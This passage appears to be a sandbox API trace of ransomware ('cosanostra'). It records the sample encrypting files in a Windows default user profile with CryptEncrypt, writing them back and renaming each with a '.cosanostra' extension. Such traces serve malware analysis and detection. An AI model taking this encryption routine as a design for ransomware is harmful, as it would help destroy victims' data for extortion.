lpNumberOfBytesWritten=0x2abf394, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf394*=0x30, lpOverlapped=0x0) returned 1 [0090.739] CloseHandle (hObject=0x180) returned 1 [0090.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.cosanostra")) returned 1 [0090.739] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3d0 | out: pbBuffer=0x2abf3d0) returned 1 [0090.739] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3c8*=0x30) returned 1 [0090.739] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.740] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 113 [0090.740] StrStrW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpSrch=".txt") returned 0x0 [0090.789] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.789] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf38c*=0x2800, lpOverlapped=0x0) returned 1 [0090.790] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.790] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3cc*, lpNumberOfBytesWritten=0x2abf38c*=0x4, lpOverlapped=0x0) returned 1 [0090.791] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf38c*=0x30, lpOverlapped=0x0) returned 1 [0090.791] CloseHandle (hObject=0x180) returned 1 [0090.791] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.cosanostra")) returned 1 [0090.792] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3d0 | out: pbBuffer=0x2abf3d0) returned 1 [0090.792] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3c8*=0x30) returned 1 [0090.792] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.792] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk") returned 38 [0090.792] StrStrW (lpFirst="Desktop.lnk", lpSrch=".txt") returned 0x0 [0090.793] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.793] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x1d3, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf38c*=0x1d3, lpOverlapped=0x0) returned 1 [0090.793] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.793] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3cc*, lpNumberOfBytesWritten=0x2abf38c*=0x4, lpOverlapped=0x0) returned 1 [0090.793] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf38c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf38c*=0x30, lpOverlapped=0x0) returned 1 [0090.793] CloseHandle (hObject=0x180) returned 1 [0090.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Links\\Desktop.lnk.cosanostra" (normalized: "c:\\users\\default\\links\\desktop.lnk.cosanostra")) returned 1 [0090.794] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3c8 | out: pbBuffer=0x2abf3c8) returned 1 [0090.794] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3c0*=0x30) returned 1 [0090.794] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.795] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini") returned 38 [0090.795] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.796] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.796] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf384*=0x244, lpOverlapped=0x0) returned 1 [0090.796] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.796] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x2abf3c4*, lpNumberOfBytesWritten=0x2abf384*=0x4, lpOverlapped=0x0) returned 1 [0090.796] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf384*=0x30, lpOverlapped=0x0) returned 1 [0090.796] CloseHandle (hObject=0x180) returned 1 [0090.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Links\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\links\\desktop.ini.cosanostra")) returned 1 [0090.976] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3c8 | out: pbBuffer=0x2abf3c8) returned 1 [0090.976] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3c0*=0x30) returned 1 [0090.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.977] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned 57 [0090.977] StrStrW (lpFirst="MSN Money.url", lpSrch=".txt") returned 0x0 [0090.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.979] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf384*=0x85, lpOverlapped=0x0) returned 1 [0090.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.979] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x2abf3c4*, lpNumberOfBytesWritten=0x2abf384*=0x4, lpOverlapped=0x0) returned 1 [0090.979] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf384, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf384*=0x30, lpOverlapped=0x0) returned 1 [0090.979] CloseHandle (hObject=0x180) returned 1 [0090.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.cosanostra")) returned 1 [0090.980] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3c0 | out: pbBuffer=0x2abf3c0) returned 1 [0090.980] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3b8*=0x30) returned 1 [0090.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.982] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 65 [0090.982] StrStrW (lpFirst="MSN Entertainment.url", lpSrch=".txt") returned 0x0 [0090.983] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.983] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf37c*=0x85, lpOverlapped=0x0) returned 1 [0090.983] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.983] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3bc*, lpNumberOfBytesWritten=0x2abf37c*=0x4, lpOverlapped=0x0) returned 1 [0090.983] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf37c*=0x30, lpOverlapped=0x0) returned 1 [0090.983] CloseHandle (hObject=0x180) returned 1 [0090.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.cosanostra")) returned 1 [0090.984] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3c0 | out: pbBuffer=0x2abf3c0) returned 1 [0090.984] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3b8*=0x30) returned 1 [0090.986] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0090.986] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned 57 [0090.986] StrStrW (lpFirst="MSN Autos.url", lpSrch=".txt") returned 0x0 [0090.987] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.987] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf37c*=0x85, lpOverlapped=0x0) returned 1 [0090.987] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.987] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3bc*, lpNumberOfBytesWritten=0x2abf37c*=0x4, lpOverlapped=0x0) returned 1 [0090.987] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf37c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf37c*=0x30, lpOverlapped=0x0) returned 1 [0090.987] CloseHandle (hObject=0x180) returned 1 [0090.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.cosanostra")) returned 1 [0090.998] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3b8 | out: pbBuffer=0x2abf3b8) returned 1 [0090.998] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3b0*=0x30) returned 1 [0090.998] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.007] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 69 [0091.007] StrStrW (lpFirst="Microsoft Store.url", lpSrch=".txt") returned 0x0 [0091.008] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.008] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x2abf374, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf374*=0x86, lpOverlapped=0x0) returned 1 [0091.008] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.008] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf374, lpOverlapped=0x0 | out: lpBuffer=0x2abf3b4*, lpNumberOfBytesWritten=0x2abf374*=0x4, lpOverlapped=0x0) returned 1 [0091.008] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf374, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf374*=0x30, lpOverlapped=0x0) returned 1 [0091.008] CloseHandle (hObject=0x180) returned 1 [0091.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.cosanostra")) returned 1 [0091.009] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3b0 | out: pbBuffer=0x2abf3b0) returned 1 [0091.009] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3a8*=0x30) returned 1 [0091.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.009] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 71 [0091.009] StrStrW (lpFirst="Microsoft At Work.url", lpSrch=".txt") returned 0x0 [0091.010] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.010] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf36c*=0x85, lpOverlapped=0x0) returned 1 [0091.010] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.011] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3ac*, lpNumberOfBytesWritten=0x2abf36c*=0x4, lpOverlapped=0x0) returned 1 [0091.011] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf36c*=0x30, lpOverlapped=0x0) returned 1 [0091.011] CloseHandle (hObject=0x180) returned 1 [0091.012] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.cosanostra")) returned 1 [0091.012] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3b0 | out: pbBuffer=0x2abf3b0) returned 1 [0091.012] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3a8*=0x30) returned 1 [0091.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.012] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 71 [0091.012] StrStrW (lpFirst="Microsoft At Home.url", lpSrch=".txt") returned 0x0 [0091.013] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.013] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf36c*=0x85, lpOverlapped=0x0) returned 1 [0091.013] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.013] WriteFile (in: hFile=0x180, lpBuffer=0x2abf3ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x2abf3ac*, lpNumberOfBytesWritten=0x2abf36c*=0x4, lpOverlapped=0x0) returned 1 [0091.014] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf36c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf36c*=0x30, lpOverlapped=0x0) returned 1 [0091.014] CloseHandle (hObject=0x180) returned 1 [0091.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.cosanostra")) returned 1 [0091.015] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3a8 | out: pbBuffer=0x2abf3a8) returned 1 [0091.015] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3a0*=0x30) returned 1 [0091.015] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.019] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 78 [0091.019] StrStrW (lpFirst="IE site on Microsoft.com.url", lpSrch=".txt") returned 0x0 [0091.020] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.020] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf364*=0x85, lpOverlapped=0x0) returned 1 [0091.020] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.020] WriteFile (in: hFile=0x154, lpBuffer=0x2abf3a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x2abf3a4*, lpNumberOfBytesWritten=0x2abf364*=0x4, lpOverlapped=0x0) returned 1 [0091.020] WriteFile (in: hFile=0x154, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf364, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf364*=0x30, lpOverlapped=0x0) returned 1 [0091.020] CloseHandle (hObject=0x154) returned 1 [0091.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.cosanostra")) returned 1 [0091.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf3a8 | out: pbBuffer=0x2abf3a8) returned 1 [0091.021] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf3a0*=0x30) returned 1 [0091.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 